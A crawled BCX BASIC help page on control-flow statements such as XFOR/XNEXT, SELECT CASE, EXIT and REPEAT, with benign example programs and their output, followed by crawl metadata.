The problem is not simply the number of steps. For example, in the example above the start value is different but the end value and STEP are the same as in the previous example which works as expected. The upward rounding problem can be guarded against by adding one-half of the STEP value to the end value. To apply this correction in the example above, the line
FOR DOUBLE I = 9.9 TO 18.7 STEP 1.1
would be changed to
FOR DOUBLE I = 9.9 TO 19.25 STEP 1.1
To start the next iteration of a NEXT early in control loops see the description of the ITERATE function.
XFOR ... XNEXT loop
Syntax:
XFOR [StartParameters] [ WHILE ... UNTIL Condition] [ BY VariableChanges]
Statements
[ EXIT XFOR ]
XNEXT
Parameters:
• StartParameters This can be any of the normal variables in a typical FOR ... NEXT loop and, as well, can be a pointer to a type or string.
• WHILE ... UNTIL Condition This can be any condition that applies to WHILE and UNTIL.
• BY VariableChanges This parameter can increment and decrement variables and reassign pointers.
Remarks:
With all of the parameters being optional the following is legal and results in generation of a for ever loop
XFOR WHILE BY
Statements
XNEXT
Example 1:
Here is an example that uses XFOR ... XNEXT in the program which calculates and prints the combinations of a subset of items in a set.
DIM SetItemCount%
DIM SubSetItemCount%
DIM SubSetCount%
DIM start AS clock_t
DIM finish AS clock_t
DIM duration#
INPUT "Total number of items in set? ", SetItemCount%
INPUT "Number of items in one subset combination? ", SubSetItemCount%
PRINT
start = clock()
SubSetCount% = SubSets(SetItemCount%, SubSetItemCount%)
finish = clock()
duration# = ROUND((DOUBLE)(finish - start) / CLOCKS_PER_SEC, 2)
PRINT
PRINT "It took", duration#, " seconds to calculate that"
PRINT "there are", SubSetCount%, " combinations of", SubSetItemCount%, " item subsets in a set of", SetItemCount%, " items."
FUNCTION SubSets%(n%, k%)
RAW buffer%[100]
DIM i% = 0
DIM j%
DIM SSCnt%
XFOR j = 0 WHILE j <= n BY j++
buffer[j] = 0
XNEXT
WHILE i >= 0
IF (buffer[i] < n + i - k + 1) THEN
buffer[i]++
IF (i = k - 1) THEN
XFOR j = 0 WHILE j < k BY j++
PRINT buffer[j];
XNEXT
PRINT
SSCnt++
ELSE
buffer[++i] = buffer[i - 1]
END IF
ELSE
i--
END IF
WEND
FUNCTION = SSCnt%
END FUNCTION
Result:
Total number of items in set? 5
Number of items in one subset combination? 3
1 2 3
1 2 4
1 2 5
1 3 4
1 3 5
1 4 5
2 3 4
2 3 5
2 4 5
3 4 5
It took 0 seconds to calculate that
there are 10 combinations of 3 item subsets in a set of 5 items.
Example 2:
Here is a more complex example using XFOR ... XNEXT.
' Make a file of names.
OPEN "NAMES.TXT" FOR OUTPUT AS FPOUT
FPRINT FPOUT, "John G.";",";"Kemeny"
FPRINT FPOUT, "Thomas E.";",";"Kurtz"
FPRINT FPOUT, "Mary Kenneth";",";"Keller"
CLOSE
' Read in from file
' and display input.
TYPE tagLink
DIM szFirst$
DIM szLast$
DIM ptNxt AS tagLink PTR
END TYPE
DIM pzNames AS tagLink PTR
DIM ptCurrent AS tagLink PTR
pzNames = (tagLink*)calloc(1, SIZEOF(tagLink))
OPEN "NAMES.TXT" FOR INPUT AS FPIN
XFOR ptCurrent = pzNames WHILE NOT EOF(FPIN) BY ptCurrent = ptCurrent->ptNxt = (tagLink*)calloc(1,SIZEOF(tagLink))
FINPUT FPIN, ptCurrent->szFirst$, ptCurrent->szLast$
XNEXT
XFOR ptCurrent = pzNames WHILE ptCurrent BY ptCurrent = ptCurrent->ptNxt
PRINT ptCurrent->szFirst$; " "; ptCurrent->szLast$
XNEXT
PAUSE
Result:
John G. Kemeny
Thomas E. Kurtz
Mary Kenneth Keller
Example 3:
And here is an even more complex example using XFOR ... XNEXT.
TYPE tagRECORD
DIM sName[16] AS CHAR
DIM iAge AS int
DIM ptPRV AS tagRECORD PTR
DIM ptNXT AS tagRECORD PTR
END TYPE
DIM szBuf$
DIM ptHIGH AS tagRECORD PTR
DIM ptLOW AS tagRECORD PTR
DIM ptHead AS tagRECORD PTR
AddRec("Jim",22)
AddRec("Jane",23)
AddRec("Alex",22)
AddRec("Mary",24)
AddRec("John",26)
AddRec("Steve",29)
AddRec("Sally",25)
AddRec("Zak",21)
AddRec("Betty",29)
AddRec("Clive",26)
AddRec("Doris",28)
AddRec("Kelly",22)
sprintf(szBuf, "%12s%4s%3s", "Name", "", "Age")
PRINT szBuf$
XFOR INT i = 1, tagRECORD PTR ptRL = ptLOW WHILE ptRL <> NULL BY i++, ptRL = ptRL->ptNXT
sprintf(szBuf, "%14s %3i", ptRL->sName, ptRL->iAge)
PRINT szBuf$
XNEXT
PRINT
sprintf(szBuf, "%12s%4s%3s", "Name", "", "Age")
PRINT szBuf$;" ";szBuf$
XFOR INT i = 1, INT j = 12, tagRECORD PTR ptRL = ptLOW, tagRECORD PTR ptRH = ptHIGH WHILE i < j BY i++, j--, ptRL = ptRL->ptNXT, ptRH = ptRH->ptPRV
sprintf(szBuf, "%14s %3i %14s %3i", ptRL->sName, ptRL->iAge, ptRH->sName, ptRH->iAge)
PRINT szBuf$
XNEXT
PAUSE
SUB AddRec(pszN$, iA AS INT)
RAW ptTMP AS tagRECORD PTR
ptTMP = (tagRECORD *)calloc(1,SIZEOF(tagRECORD))
ptTMP->sName$ = pszN$
ptTMP->iAge = iA
IF ptHead = NULL THEN
ptHIGH = ptLOW = ptHead = ptTMP
EXIT SUB
END IF
RAW ptREC AS tagRECORD PTR
XFOR ptREC = ptHead WHILE ptREC <> NULL AND ptREC->iAge < iA BY ptREC = ptREC->ptNXT
XNEXT
IF ptREC = NULL THEN
ptHIGH->ptNXT = ptTMP
ptHIGH->ptNXT->ptPRV = ptHIGH
ptHIGH = ptTMP
EXIT SUB
END IF
IF ptREC = ptHead THEN
ptTMP->ptNXT = ptHead
ptHead->ptPRV = ptTMP
ptHead = ptLOW = ptTMP
ELSE
ptTMP->ptNXT = ptREC
ptREC->ptPRV->ptNXT = ptTMP
ptTMP->ptPRV = ptREC->ptPRV
ptREC->ptPRV = ptTMP
END IF
END SUB
Result:
Name Age
Zak 21
Kelly 22
Alex 22
Jim 22
Jane 23
Mary 24
Sally 25
Clive 26
John 26
Doris 28
Betty 29
Steve 29
Name Age Name Age
Zak 21 Steve 29
Kelly 22 Betty 29
Alex 22 Doris 28
Jim 22 John 26
Jane 23 Clive 26
Mary 24 Sally 25
WHILE ... WEND statement
Syntax:
[ DO ] WHILE expression ' "DO" is optional
EXIT LOOP OR EXIT DO
WEND
To start the next iteration of a WEND early in control loops see the description of the ITERATE function.
DO [UNTIL] ... LOOP [UNTIL] [WHILE] statement
Syntax 1:
DO
Statements
IF Condition THEN
EXIT LOOP | EXIT DO
END IF
More Statements
LOOP
or
Syntax 2:
DO UNTIL Condition
Statements
LOOP
or
Syntax 3:
DO
Statements
LOOP UNTIL Condition
or
Syntax 4:
DO
Statements
LOOP WHILE Condition
Remarks: See ITERATE to start the next iteration of a LOOP early in control loops.
IF...THEN...ELSE...ELSEIF...END IF [ENDIF] statements
Syntax 1:
IF Expression THEN
Statement
END IF
Syntax 2:
IF Expression1 THEN
Statements
ELSEIF Expression THEN
Statements
ELSE
Statements
END IF
SELECT CASE statement
Syntax:
SELECT CASE Expression
CASE Expression1
your code here
CASE Expression2
... ' CASE Expression is tested for equality against all
... ' SELECT CASE expression and executes the instructions
... ' following if CASE found TRUE.
CASE Expression N
your code here
CASE ELSE
your default code here
END SELECT
Remarks:
CASE statements allow the following common construct:
CASE 1 TO 10
which will capture the flow if the CASE is any number between 1 and 10.
Also allowed are less than greater than comparisons like
CASE > 5 AND < 9
The OR operator also may be used, for example,
CASE < 4 OR > 9
The NOT operator may be used as well, for example,
CASE <> "BCX"
When a conditional operator (AND or OR) is used, scalar operators (= or < or > etc.) preceding the test expression must be used.
CASE = "Selector" OR = "Selectee"
The following line is not valid and will cause an error.
CASE "Selector" OR "Selectee"
However, in the example above, the OR can be replaced with a comma to form a valid CASE test statement.
CASE "Selector", "Selectee"
Arrays, functions and variations of variables that contain the dereferencing operator (->) may be used as arguments to the CASE statement, for example,
CASE A[1] TO A[9]
CASE foo->f,foo->g
CASE Funcfoo(A[foo->f],"nada"), foo->g
CASE > foo->f AND < Funfoo(A[1])
Example 1:
DIM Choose$
Choose$ = "SelectOR"
SELECT CASE Choose$
CASE = "SelectOR" OR = "SelectXOR"
PRINT "Selected"
END SELECT
Example 2: SELECT CASE variants:
DIM i
INPUT "Enter a number: ", i
SELECT CASE i
CASE <1
PRINT "less than 1"
CASE 1
PRINT "1"
CASE 2 TO 4
PRINT "2 to 4 inclusive"
CASE 5
PRINT "5"
CASE >5 AND <9
PRINT "greater than 5 and less than 9"
CASE 9
PRINT "9"
CASE >9
PRINT "greater than 9"
END SELECT
SELECT CASE BAND also may be used. This statement performs a binary AND on all CASE statements.
In the C code translation, breaks normally inserted between the CASE statements are suppressed when using SELECT CASE BAND, otherwise the flow would exit after the first match.
Here is an example.
SELECT CASE BAND Style
CASE WS_CHILD : CONCAT(StyleString$,"WS_CHILD,")
CASE WS_VISIBLE : CONCAT(StyleString$,"WS_VISIBLE,")
CASE WS_TABSTOP : CONCAT(StyleString$,"WS_TABSTOP")
END SELECT
A status code is returned in lParam from which, depending on the bits set, the messages can be determined. This is how it would normally be written:
IF lParam BAND CE_BREAK THEN err$=err$ + "CE_BREAK "
IF lParam BAND CE_FRAME THEN err$=err$ + "CE_FRAME "
IF lParam BAND CE_IOE THEN err$=err$ + "CE_IOE "
IF lParam BAND CE_MODE THEN err$=err$ + "CE_MODE "
IF lParam BAND CE_OVERRUN THEN err$=err$ + "CE_OVERRUN "
IF lParam BAND CE_RXOVER THEN err$=err$ + "CE_RXOVER "
IF lParam BAND CE_RXPARITY THEN err$=err$ + "CE_RXPARITY "
IF lParam BAND CE_TXFULL THEN err$=err$ + "CE_TXFULL"
Here is a similar solution using SELECT CASE BAND.
SELECT CASE BAND lParam
CASE CE_BREAK : CONCAT(err$,"CE_BREAK ")
CASE CE_FRAME : CONCAT(err$,"CE_FRAME ")
CASE CE_IOE : CONCAT(err$,"CE_IOE ")
CASE CE_MODE : CONCAT(err$,"CE_MODE ")
CASE CE_OVERRUN : CONCAT(err$,"CE_OVERRUN ")
CASE CE_RXOVER : CONCAT(err$,"CE_RXOVER ")
CASE CE_RXPARITY : CONCAT(err$,"CE_RXPARITY ")
CASE CE_TXFULL : CONCAT(err$,"CE_TXFULL")
END SELECT
GOTO statement
Purpose: GOTO redirects program flow to a label.
Syntax:
GOTO Label
Remarks: A note about labels.
BCX Console Sample Programs using GOTO function.
S01.bas, S134.bas
GOSUB ... RETURN statement
Purpose: GOSUB redirects program flow to a label. The flow continues from the label until a RETURN statement is encountered and the flow is returned to the line following the GOSUB Label statement.
Syntax:
GOSUB Label
Label:
Statements
RETURN
Remarks: A note about labels.
BCX Console Sample Programs using GOSUB statement.
S104.bas, S107.bas, S134.bas,
EXIT statement
Purpose: Causes EXIT from a DO...LOOP, FOR...NEXT, SELECT ... END SELECT, REPEAT... END REPEAT loop, or FUNCTION or SUB.
Syntax:
EXIT CASE
EXIT DO
EXIT FOR
EXIT LOOP
EXIT REPEAT
EXIT SELECT
EXIT WHILE
EXIT FUNCTION
EXIT SUB
When translated with the BCX -w flag, the following code generates a warning with the code generated exiting out of inner most FOR ... NEXT loop
DIM iW, iX, iY
FOR iW = 1 TO 2
FOR iX = 1 TO 5
iY = iX+1
WHILE iY < 10
PRINT iX;iY
IF iY = iX THEN EXIT FOR
iY++
iY = IMOD(iY,10)
WEND
NEXT
PRINT iX;iY
NEXT
When translated with the BCX -w flag, the following code generates a warning with code generated exiting out of the XFOR ... XNEXT loop
DIM iW, iX, iY
XFOR iW = 1 WHILE iW < 2 BY iW++
FOR iX = 1 TO 5
FOR iY = 1 TO 5
IF iY + iX + iW = 10 THEN EXIT XFOR
PRINT iW;iX;iY
NEXT
NEXT
XNEXT
PRINT iW;iX;iY
When translated with BCX, the following code will generate an error since there is no DO ... LOOP.
DIM iX, iY
FOR iX = 1 TO 5
FOR iY = iX+1 TO 5
PRINT iX;iY
IF iY +iY > 7 THEN EXIT DO
NEXT
NEXT
EXIT without a control named results in a warning message with the innermost loop named. The code generated results in the exiting of the innermost control loop.
EXIT NEST statement
Purpose: Causes an EXIT out of the nest of current loop types to the positon in the code where a different loop type is encountered.
Syntax:
EXIT NEST
Example 1: This example will EXIT from the nested DO loops when (w+x)*(y+z) > 20.
DIM w, x, y, z
w = 0
WHILE w < 10
x = 0
WHILE x < 5
y = 0
DO
z = 0
DO
IF (w+x)*(y+z) > 20 THEN
PRINT "Exit Nest"
EXIT NEST
END IF
z++
PRINT "z Pass"; z
LOOP UNTIL z > 4
y++
LOOP UNTIL y > 4
PRINT "w equals"; w
x++
WEND
w++
WEND
PRINT "At end w equals"; w
PAUSE
EXIT SELECT statement
Purpose: Causes an EXIT out of the SELECT ... END SELECT.
Syntax:
EXIT SELECT
Example 1: Here is a general example of when one might need EXIT SELECT
SELECT CASE SomeCondition
CASE Condition_1
IF SomeFlagIsSet THEN
EXIT SELECT
ELSE
Do_Condition_1_Thing() ' Only if SomeFlagIsSet = FALSE
END IF
CASE Condition_2
Do_Condition_2_Thing()
CASE Condition_3
Do_Condition_3_Thing()
END SELECT
Example 2: Here is an specific example using EXIT SELECT
$BCXVERSION "6.50"
DIM WajYaDoing$, SelexitFlag$, TheThing$, What$
SelexitFlag$ = "Selexit"
What$ = "One"
TheThing$ = ToBeDone$(What$)
PRINT WajYaDoing$
PRINT TheThing$
PRINT
SelexitFlag$ = "NoSelexit"
What$ = "One"
TheThing$ = ToBeDone$(What$)
PRINT WajYaDoing$
PRINT TheThing$
PRINT
FUNCTION ToBeDone$(DoSomething$)
DIM Retstr$
SELECT CASE DoSomething$
CASE "One"
IF SelexitFlag$ = "Selexit" THEN
WajYaDoing$ = "I'm Selexiting."
Retstr$ = "See if I care ..."
EXIT SELECT
ELSE
WajYaDoing$ = "I'm not Selexiting. "
Retstr$ = "You had your chance. No whining. No excuses."
END IF
END SELECT
FUNCTION = Retstr$
END FUNCTION
Result:
I'm Selexiting.
See if I care ...
I'm not Selexiting.
You had your chance. No whining. No excuses.
END statement
Purpose: Immediately terminates a running program
Syntax:
END
REPEAT ... END REPEAT statement
Purpose: REPEAT ... END REPEAT blocks allow you to create loops without the need of a loop variable. BCX translates these to "C" style for/next loops that instead use temporary variables that are local to the loop.
Example:
CLS
REPEAT 2
REPEAT 5
PRINT "Here is an example of nested REPEATS"
END REPEAT
END REPEAT
PRINT
DIM Iterations
INPUT "Type a number, press ENTER ", Iterations
REPEAT(Iterations+1+((Iterations+1)*2))
PRINT "Calculated Expressions Allowed in REPEAT/END REPEAT"
END REPEAT
Result:
Here is an example of nested REPEATS
Here is an example of nested REPEATS
Here is an example of nested REPEATS
Here is an example of nested REPEATS
Here is an example of nested REPEATS
Here is an example of nested REPEATS
Here is an example of nested REPEATS
Here is an example of nested REPEATS
Here is an example of nested REPEATS
Here is an example of nested REPEATS
Type a number, press ENTER 3
Calculated Expressions Allowed in REPEAT/END REPEAT
Calculated Expressions Allowed in REPEAT/END REPEAT
Calculated Expressions Allowed in REPEAT/END REPEAT
Calculated Expressions Allowed in REPEAT/END REPEAT
Calculated Expressions Allowed in REPEAT/END REPEAT
Calculated Expressions Allowed in REPEAT/END REPEAT
Calculated Expressions Allowed in REPEAT/END REPEAT
Calculated Expressions Allowed in REPEAT/END REPEAT
Calculated Expressions Allowed in REPEAT/END REPEAT
Calculated Expressions Allowed in REPEAT/END REPEAT
Calculated Expressions Allowed in REPEAT/END REPEAT
Calculated Expressions Allowed in REPEAT/END REPEAT
To count backwards, the argument must begin with a minus sign. The "add a minus sign" rule is the same rule that BCX has always used in FOR ... NEXT statements that contain a negative STEP clause. "add a minus sign" is the only way that BCX can detect and respond to the logic flow at compile time.
Examples :
REPEAT -10
REPEAT -A
REPEAT -(A*2+100)
See ITERATE to start the next iteration of a END REPEAT early in control loops.
EXIT REPEAT immediately breaks the flow out of a REPEAT block.
BCX_REPEAT variable
The BCX_REPEAT variable automatically keeps count of how many times REPEAT has been executed within a REPEAT ... END REPEAT block.
Example:
REPEAT 2
PRINT BCX_REPEAT
REPEAT 5
PRINT "... ", BCX_REPEAT
END REPEAT
END REPEAT
Result:
1
... 1
... 2
... 3
... 4
... 5
2
... 1
... 2
... 3
... 4
... 5
Here's another sample.
DIM a
a = -10
REPEAT -ABS(a)
PRINT BCX_REPEAT
IF BCX_REPEAT = 5 THEN EXIT REPEAT
END REPEAT
Result:
1
... 1
... 2
... 3
... 4
... 5
2
... 1
... 2
... 3
... 4
... 5
WITH ... END WITH statement
Purpose: WITH ... END WITH allows repeated reference to be made to an user defined type object or structure.
Syntax:
WITH UserDefinedTypeObject
[ statements ]
END WITH
Example 1:
TYPE QWERTY
DIM a
DIM b!
DIM c[80] AS CHAR
DIM q AS RECT
END TYPE
GLOBAL MyType [10,10,10] AS QWERTY
WITH MyType[2,3,4]
.a = 1
.b! = 2.345
.c$ = "Hello world from a poly-dimensional udt!"
WITH .q
.left = 100
.right = 200
.top = 150
.bottom = 300
END WITH
PRINT .a
PRINT .b!
PRINT UCASE$(.c$)
END WITH
Result:
1
2.345
HELLO WORLD FROM A POLY-DIMENSIONAL UDT!
Example 2:
TYPE Foo
One AS LONG
Two AS LONG
Three AS LONG
END TYPE
DIM MyArray AS Foo
WITH MyArray
.One = 1
.Two = 2
.Three= 3
PRINT .One
PRINT .Two
PRINT .Three
END WITH
Result:
1
2
3
|
{
"url": "https://bcxbasiccoders.com/webhelp/html/controlflow.htm",
"source_domain": "bcxbasiccoders.com",
"snapshot_id": "crawl=CC-MAIN-2020-34",
"warc_metadata": {
"Content-Length": "62373",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:PPFGRPBEOTJMD4Y677V4VIZNV6NVGVNE",
"WARC-Concurrent-To": "<urn:uuid:dcf1daa1-b8d9-4f8f-95ed-19bc34d2a86e>",
"WARC-Date": "2020-08-12T17:47:57Z",
"WARC-IP-Address": "66.198.248.157",
"WARC-Identified-Payload-Type": "application/xhtml+xml",
"WARC-Payload-Digest": "sha1:PMLITJCHDMD3CAOHBFALEYPXOX5UMP4Q",
"WARC-Record-ID": "<urn:uuid:02dcd24c-c313-4097-a80e-49cf5c109d96>",
"WARC-Target-URI": "https://bcxbasiccoders.com/webhelp/html/controlflow.htm",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:7b1952f7-2582-4877-8dc0-824fe42ea8e3>"
},
"warc_info": "isPartOf: CC-MAIN-2020-34\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for August 2020\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-212.ec2.internal\r\nsoftware: Apache Nutch 1.17 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
}
|
{
"line_start_idx": [
0,
24,
25,
43,
44,
45,
53,
54,
115,
127,
141,
147,
148,
160,
161,
200,
270,
338,
389,
390,
510,
511,
512,
517,
518,
534,
535,
543,
551,
559,
560,
583,
594,
600,
601,
608,
609,
617,
625,
633,
634,
657,
668,
674,
675,
685,
686,
694,
695,
696,
700,
703,
706,
709,
712,
715,
718,
721,
724,
727,
728,
731,
734,
737,
740,
743,
746,
749,
752,
755,
759,
760,
866,
867,
916,
917,
1162,
1163,
1164,
1186,
1187,
1224,
1258,
1295,
1303,
1309,
1310,
1338,
1339,
1347,
1348,
1349,
1363,
1377,
1391,
1405,
1419,
1433,
1447,
1461,
1475,
1489,
1503,
1517,
1531,
1545,
1559,
1573,
1587,
1601,
1616,
1631,
1646,
1661,
1676,
1691,
1706,
1721,
1736,
1751,
1766,
1781,
1796,
1811,
1826,
1841,
1842,
1857,
1858,
2384,
2385,
2386,
2408,
2409,
2446,
2480,
2517,
2525,
2531,
2532,
2560,
2561,
2569,
2570,
2571,
2585,
2599,
2614,
2629,
2644,
2659,
2674,
2689,
2704,
2719,
2734,
2749,
2764,
2779,
2794,
2809,
2810,
2825,
2826,
3190,
3191,
3192,
3229,
3230,
3250,
3251,
3252,
3290,
3291,
3397,
3398,
3418,
3419,
3420,
3428,
3429,
3505,
3517,
3532,
3539,
3540,
3552,
3553,
3696,
3785,
3884,
3885,
3894,
3895,
4005,
4006,
4007,
4022,
4036,
4043,
4044,
4055,
4056,
4191,
4192,
4193,
4212,
4234,
4252,
4274,
4297,
4312,
4314,
4369,
4440,
4447,
4449,
4466,
4523,
4541,
4606,
4608,
4615,
4673,
4799,
4801,
4803,
4830,
4850,
4864,
4874,
4888,
4890,
4924,
4943,
4952,
4954,
4970,
5011,
5030,
5057,
5096,
5124,
5139,
5154,
5171,
5183,
5220,
5234,
5244,
5255,
5267,
5275,
5296,
5310,
5311,
5319,
5320,
5321,
5354,
5400,
5401,
5409,
5417,
5425,
5433,
5441,
5449,
5457,
5465,
5473,
5481,
5482,
5519,
5585,
5586,
5597,
5598,
5651,
5652,
5653,
5678,
5679,
5717,
5755,
5794,
5837,
5844,
5846,
5867,
5889,
5890,
5904,
5920,
5935,
5963,
5973,
5975,
6003,
6033,
6081,
6117,
6119,
6235,
6291,
6298,
6300,
6374,
6428,
6435,
6442,
6443,
6451,
6452,
6453,
6469,
6486,
6507,
6508,
6519,
6520,
6583,
6584,
6585,
6601,
6626,
6645,
6675,
6705,
6715,
6718,
6730,
6759,
6787,
6816,
6819,
6837,
6856,
6875,
6894,
6913,
6933,
6953,
6971,
6991,
7011,
7031,
7051,
7054,
7103,
7117,
7122,
7213,
7267,
7281,
7288,
7291,
7298,
7347,
7372,
7522,
7611,
7625,
7632,
7635,
7642,
7645,
7675,
7705,
7757,
7782,
7802,
7805,
7830,
7867,
7881,
7891,
7895,
7925,
8013,
8022,
8025,
8049,
8076,
8111,
8131,
8145,
8155,
8158,
8184,
8211,
8238,
8266,
8274,
8300,
8333,
8366,
8392,
8402,
8407,
8416,
8417,
8425,
8426,
8427,
8447,
8467,
8487,
8507,
8527,
8547,
8567,
8587,
8607,
8627,
8647,
8667,
8687,
8688,
8728,
8768,
8808,
8848,
8888,
8928,
8968,
8969,
8994,
8995,
8996,
9004,
9005,
9049,
9073,
9079,
9080,
9186,
9187,
9233,
9234,
9235,
9245,
9246,
9250,
9263,
9282,
9304,
9312,
9330,
9336,
9337,
9340,
9341,
9342,
9352,
9353,
9373,
9386,
9392,
9393,
9396,
9397,
9398,
9408,
9409,
9413,
9426,
9448,
9449,
9452,
9453,
9454,
9464,
9465,
9469,
9483,
9505,
9506,
9589,
9590,
9644,
9645,
9646,
9656,
9657,
9677,
9689,
9697,
9698,
9699,
9709,
9710,
9732,
9745,
9769,
9782,
9788,
9801,
9809,
9810,
9832,
9833,
9834,
9842,
9843,
9868,
9888,
9906,
9925,
9986,
10049,
10089,
10110,
10129,
10141,
10168,
10180,
10181,
10190,
10191,
10245,
10246,
10247,
10261,
10262,
10334,
10335,
10392,
10393,
10394,
10412,
10413,
10460,
10461,
10462,
10479,
10480,
10531,
10532,
10533,
10548,
10549,
10678,
10679,
10680,
10715,
10716,
10773,
10774,
10775,
10806,
10807,
10911,
10912,
10913,
10942,
10943,
11095,
11096,
11097,
11116,
11118,
11138,
11140,
11180,
11182,
11216,
11217,
11228,
11229,
11230,
11243,
11245,
11267,
11269,
11290,
11327,
11346,
11358,
11359,
11392,
11393,
11394,
11401,
11404,
11433,
11436,
11451,
11462,
11485,
11488,
11498,
11511,
11514,
11529,
11557,
11560,
11570,
11583,
11586,
11604,
11646,
11649,
11659,
11672,
11675,
11686,
11712,
11724,
11725,
11821,
11822,
11999,
12000,
12020,
12021,
12022,
12046,
12098,
12152,
12205,
12217,
12218,
12367,
12368,
12369,
12426,
12483,
12538,
12594,
12653,
12711,
12771,
12828,
12829,
12880,
12881,
12882,
12907,
12949,
12991,
13029,
13069,
13115,
13159,
13207,
13250,
13262,
13263,
13278,
13279,
13328,
13329,
13330,
13338,
13339,
13351,
13352,
13382,
13383,
13432,
13433,
13451,
13452,
13479,
13480,
13678,
13679,
13680,
13688,
13689,
13702,
13703,
13711,
13724,
13732,
13733,
13763,
13764,
13815,
13816,
13846,
13847,
13862,
13863,
13984,
13985,
13986,
13994,
13995,
14006,
14007,
14016,
14017,
14027,
14028,
14039,
14040,
14053,
14054,
14067,
14068,
14080,
14081,
14096,
14097,
14107,
14108,
14253,
14254,
14255,
14271,
14288,
14307,
14322,
14341,
14360,
14392,
14404,
14428,
14438,
14446,
14461,
14467,
14468,
14604,
14605,
14606,
14622,
14656,
14673,
14692,
14733,
14753,
14761,
14767,
14774,
14790,
14791,
14890,
14891,
14892,
14904,
14921,
14943,
14960,
14992,
15000,
15006,
15007,
15169,
15170,
15190,
15191,
15324,
15325,
15326,
15334,
15335,
15346,
15347,
15429,
15430,
15431,
15447,
15454,
15456,
15470,
15479,
15494,
15505,
15513,
15526,
15536,
15571,
15598,
15617,
15633,
15646,
15673,
15697,
15708,
15730,
15755,
15764,
15772,
15779,
15785,
15813,
15820,
15822,
15823,
15845,
15846,
15904,
15905,
15906,
15914,
15915,
15928,
15929,
16001,
16002,
16003,
16030,
16032,
16052,
16054,
16079,
16096,
16104,
16164,
16174,
16176,
16196,
16222,
16224,
16244,
16270,
16272,
16284,
16285,
16342,
16343,
16344,
16364,
16366,
16415,
16418,
16444,
16459,
16489,
16508,
16525,
16532,
16535,
16563,
16578,
16608,
16627,
16644,
16651,
16654,
16657,
16691,
16694,
16709,
16712,
16740,
16743,
16757,
16760,
16798,
16837,
16874,
16893,
16903,
16947,
17011,
17023,
17026,
17040,
17043,
17065,
17068,
17082,
17083,
17091,
17092,
17093,
17110,
17129,
17130,
17152,
17198,
17199,
17213,
17214,
17264,
17265,
17266,
17274,
17275,
17280,
17281,
17313,
17314,
17529,
17530,
17539,
17540,
17541,
17546,
17547,
17557,
17569,
17619,
17633,
17645,
17646,
17653,
17654,
17670,
17671,
17720,
17721,
17762,
17825,
17837,
17838,
17846,
17847,
17848,
17886,
17924,
17962,
18000,
18038,
18076,
18114,
18152,
18190,
18228,
18229,
18259,
18312,
18365,
18418,
18471,
18524,
18577,
18630,
18683,
18736,
18789,
18842,
18895,
18896,
18898,
18899,
19198,
19199,
19210,
19211,
19212,
19224,
19235,
19254,
19255,
19335,
19336,
19399,
19400,
19420,
19421,
19552,
19553,
19562,
19563,
19564,
19574,
19593,
19605,
19634,
19648,
19660,
19661,
19669,
19670,
19671,
19675,
19683,
19691,
19699,
19707,
19715,
19719,
19727,
19735,
19743,
19751,
19759,
19760,
19783,
19784,
19785,
19793,
19803,
19804,
19820,
19839,
19876,
19888,
19889,
19897,
19898,
19899,
19903,
19911,
19919,
19927,
19935,
19943,
19947,
19955,
19963,
19971,
19979,
19987,
19988,
20016,
20017,
20126,
20127,
20128,
20136,
20137,
20165,
20183,
20193,
20194,
20205,
20206,
20207,
20220,
20229,
20239,
20260,
20277,
20287,
20289,
20325,
20327,
20347,
20357,
20372,
20424,
20435,
20452,
20470,
20486,
20505,
20517,
20529,
20542,
20563,
20573,
20574,
20582,
20583,
20584,
20588,
20596,
20638,
20639,
20650,
20651,
20652,
20662,
20677,
20692,
20709,
20719,
20721,
20741,
20743,
20757,
20769,
20781,
20794,
20808,
20822,
20838,
20848,
20849,
20857,
20858,
20859,
20862,
20865
],
"line_end_idx": [
24,
25,
43,
44,
45,
53,
54,
115,
127,
141,
147,
148,
160,
161,
200,
270,
338,
389,
390,
510,
511,
512,
517,
518,
534,
535,
543,
551,
559,
560,
583,
594,
600,
601,
608,
609,
617,
625,
633,
634,
657,
668,
674,
675,
685,
686,
694,
695,
696,
700,
703,
706,
709,
712,
715,
718,
721,
724,
727,
728,
731,
734,
737,
740,
743,
746,
749,
752,
755,
759,
760,
866,
867,
916,
917,
1162,
1163,
1164,
1186,
1187,
1224,
1258,
1295,
1303,
1309,
1310,
1338,
1339,
1347,
1348,
1349,
1363,
1377,
1391,
1405,
1419,
1433,
1447,
1461,
1475,
1489,
1503,
1517,
1531,
1545,
1559,
1573,
1587,
1601,
1616,
1631,
1646,
1661,
1676,
1691,
1706,
1721,
1736,
1751,
1766,
1781,
1796,
1811,
1826,
1841,
1842,
1857,
1858,
2384,
2385,
2386,
2408,
2409,
2446,
2480,
2517,
2525,
2531,
2532,
2560,
2561,
2569,
2570,
2571,
2585,
2599,
2614,
2629,
2644,
2659,
2674,
2689,
2704,
2719,
2734,
2749,
2764,
2779,
2794,
2809,
2810,
2825,
2826,
3190,
3191,
3192,
3229,
3230,
3250,
3251,
3252,
3290,
3291,
3397,
3398,
3418,
3419,
3420,
3428,
3429,
3505,
3517,
3532,
3539,
3540,
3552,
3553,
3696,
3785,
3884,
3885,
3894,
3895,
4005,
4006,
4007,
4022,
4036,
4043,
4044,
4055,
4056,
4191,
4192,
4193,
4212,
4234,
4252,
4274,
4297,
4312,
4314,
4369,
4440,
4447,
4449,
4466,
4523,
4541,
4606,
4608,
4615,
4673,
4799,
4801,
4803,
4830,
4850,
4864,
4874,
4888,
4890,
4924,
4943,
4952,
4954,
4970,
5011,
5030,
5057,
5096,
5124,
5139,
5154,
5171,
5183,
5220,
5234,
5244,
5255,
5267,
5275,
5296,
5310,
5311,
5319,
5320,
5321,
5354,
5400,
5401,
5409,
5417,
5425,
5433,
5441,
5449,
5457,
5465,
5473,
5481,
5482,
5519,
5585,
5586,
5597,
5598,
5651,
5652,
5653,
5678,
5679,
5717,
5755,
5794,
5837,
5844,
5846,
5867,
5889,
5890,
5904,
5920,
5935,
5963,
5973,
5975,
6003,
6033,
6081,
6117,
6119,
6235,
6291,
6298,
6300,
6374,
6428,
6435,
6442,
6443,
6451,
6452,
6453,
6469,
6486,
